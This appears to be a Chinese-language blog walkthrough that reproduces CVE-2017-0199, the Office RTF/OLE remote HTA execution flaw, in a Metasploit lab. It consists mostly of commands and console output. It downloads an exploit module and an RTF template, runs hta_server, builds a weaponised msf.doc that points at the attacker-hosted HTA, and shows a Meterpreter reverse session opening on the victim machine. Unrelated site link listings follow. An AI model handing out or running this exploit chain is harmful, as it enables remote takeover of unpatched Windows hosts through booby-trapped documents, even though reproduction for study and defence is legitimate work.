cve-2017-0199&metasploit复现过程
CVE-2017-0199 WORD/RTF嵌入OLE调用远程文件执行的一个漏洞。不需要用户交互。打开文档即中招
首先更新msf到最新,据说最新版简化了利用过程,不需要开启hta这一步.但没测成功 还是按老方法
更新msf,增加国内源
#清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free #浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free #东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib #官方源
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib
没用阿里云的是因为用阿里云的源更新时,提示hash校验失败.
apt-get clean && apt-get update -y && apt-get -f upgrade -y
msfupdate
下载对应exploit
cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat
wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/modules/exploits/windows/fileformat/office_word_hta.rb
下载cve-2017-0199.rtf:
cd /usr/share/metasploit-framework/data/exploits
wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/data/exploits/cve-2017-0199.rtf
开启HTA:
root@kali:~# msfconsole , ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| ||| Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit =[ metasploit v4.14.14-dev ]
+ -- --=[ exploits - auxiliary - post ]
+ -- --=[ payloads - encoders - nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use exploit/windows/misc/hta_server
msf exploit(hta_server) > show options Module options (exploit/windows/misc/hta_server): Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name
-- ----
Powershell x86 msf exploit(hta_server) > run
[*] Exploit running as background job. [*] Started reverse TCP handler on 192.168.1.101:
[*] Using URL: http://0.0.0.0:8080/h48EGx964y.hta
[*] Local IP: http://192.168.1.101:8080/h48EGx964y.hta
[*] Server started.
msf exploit(hta_server) > use exploit/windows/fileformat/office_word_hta
msf exploit(office_word_hta) > show options Module options (exploit/windows/fileformat/office_word_hta): Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no The file name.
TARGETURI http://example.com/test.rtf yes The path to a online hta file. Exploit target: Id Name
-- ----
Microsoft Office Word
生成payload doc文档:
msf exploit(office_word_hta) > set TARGETURI http://192.168.1.101:8080/h48EGx964y.hta
TARGETURI => http://192.168.1.101:8080/h48EGx964y.hta
msf exploit(office_word_hta) > set FILENAME msf.doc
FILENAME => msf.doc
msf exploit(office_word_hta) > run [+] msf.doc stored at /root/.msf4/local/msf.doc
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) > msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
[*] 192.168.1.108 hta_server - Delivering Payload
[*] 192.168.1.108 hta_server - Delivering Payload
[*] Sending stage ( bytes) to 192.168.1.108
[*] Meterpreter session opened (192.168.1.101: -> 192.168.1.108:) at -- :: + msf exploit(office_word_hta) > sessions -i Active sessions
=============== Id Type Information Connection
-- ---- ----------- ----------
meterpreter x86/windows FEIYU\yu @ FEIYU 192.168.1.101: -> 192.168.1.108: (192.168.1.108) msf exploit(office_word_hta) > session
[-] Unknown command: session.
msf exploit(office_word_hta) > sessions -i
[*] Starting interaction with ...
去目标机上看下:
需要注意的是,不是所有版本都支持,比如我的office plus 2013
cve-2017-0199&metasploit复现过程的更多相关文章
- 利用metasploit复现永恒之蓝
环境 目标机器:windows 7 ,172.16.136.169 攻击机:安装了Metasploit 的 ubuntu16.04 ,172.16.136.130 (安装Metasploit:在 Ub ...
- ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程
没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...
- NSA Fuzzbunch中EternalRomance工具复现过程
自Shadow Brokers公布NSA泄露工具后,各路大神陆陆续续发表复现过程,这几天也仔细试了各种套路,一直想弄明白DoublePulsar中的shellcode到底是如何用的,刚好又在模拟环境中 ...
- Struts2 REST 插件 XStream 远程代码执行漏洞 S2-052 复现过程
v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VM ...
- 漏洞利用之Metasploit使用过程
漏洞利用之Metasploit使用过程 先扫描端口,看开放的服务,如开放ftp,版本是vsftpd 2.3.4:使用search搜索vsftp查看是否在相应的漏洞利用exploit,输入search ...
- 【3D】PoseCNN姿态检测网络复现过程记录
最近在研究室内6D姿态检测相关问题,计划在PoseCNN网络基础上进行改进实现.但是在第一步的复现过程中踩了无数的坑,最终成功运行了demo,但目前数据集train还是遇到了一些问题.有问题欢迎一起交 ...
- Linux sudo权限提升漏洞CVE-2021-3156 POC及复现过程
漏洞简介 2021年1月26日,国外研究团队披露了sudo 中存在的堆溢出漏洞(CVE-2021-3156).利用该漏洞,非特权账户可以使用默认的sudo配置主机上获取root权限,该漏洞影响1.8. ...
- php反序列化漏洞复现过程
PHP反序列化漏洞复现 测试代码 我们运行以上代码文件,来证明函数被调用: 应为没有创建对象,所以构造函数__construct()不会被调用,但是__wakeup()跟__destruct()函数都 ...
- CVE-2020-2551复现过程
项目地址 cnsimo/CVE-2020-2551 CVE-2020-2551 weblogic iiop 反序列化漏洞 该项目的搭建脚本在10.3.6版本经过测试,12版本未测试. 环境 kali+ ...
随机推荐
- EF架构~codeFirst从初始化到数据库迁移
一些介绍 CodeFirst是EntityFrameworks的一种开发模式,即代码优先,它以业务代码为主,通过代码来生成数据库,并且加上migration的强大数据表比对功能来生成数据库版本,让程序 ...
- Python:Anaconda安装虚拟环境到指定路径
1 曾经的困扰 有段时间,想使用基于不同python版本的anaconda,就直接从官网下载了两个不同的anaconda版本进行安装.刚开始的时候,还觉得也没啥问题.用了一小段时间,在安装其他的第三方 ...
- React Native 仿天猫物流跟踪时间轴
最近心血来潮开始学习ReactNative,正好最近有一个项目可能会用到时间轴,页面原型类似于天猫的物流跟踪,如下图 分析之后决定使用ListView来实现,左边的时间轴则使用Art来绘制. 分析左边 ...
- Vin码识别(车架号识别)技术,摆脱手动录入提高工作效率
本文主题:Vin码识别(车架号识别)技术,摆脱手动录入提高工作效率 本文关键词:Vin码识别,汽车Vin码识别,车架号识别,汽车车架号识别,车代码识别,车代号识别 本文主旨:一.Vin码(车架号)在什 ...
- linux上搭建zookeeper
1.zookeeper介绍 ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件.它是一个为分布式应用提 ...
- docker私有库搭建过程(Registry)
实验环境: CentOS7 1611 Docker 1.12.6 registry 2.0 1.安装并运行registry 安装: [root@docker01 ~]# docker pull r ...
- React 在服务端渲染的实现
原文地址:Server-Side React Rendering 原文作者:Roger Jin 译者:牧云云 React 在服务端渲染的实现 React是最受欢迎的客户端 JavaScript 框架, ...
- EJB系列 - EJB高级概念
本人博客文章网址:https://www.peretang.com/ejb-advanced-concepts/ EJB内幕 幕后的EJB:容器会为每一个bean实例自动生成称为EJB对象的代理, 由 ...
- 从源码的角度看Activity是如何启动的
欢迎访问我的个人博客,原文链接:http://wensibo.top/2017/07/03/Binder/ ,未经允许不得转载! 大家好,今天想与大家一起分享的是Activity.我们平时接触的最多的 ...
- MySQL(三)--函数与谓词
前文已有涉及,这里作为总结重新整理一下. 一.函数 1.算术函数 NUMERIC 是大多数 DBMS 都支持的一种数据类型,通过 NUMBERIC ( 全体位数, 小数位数 ) 的形式来指定数值的大小 ...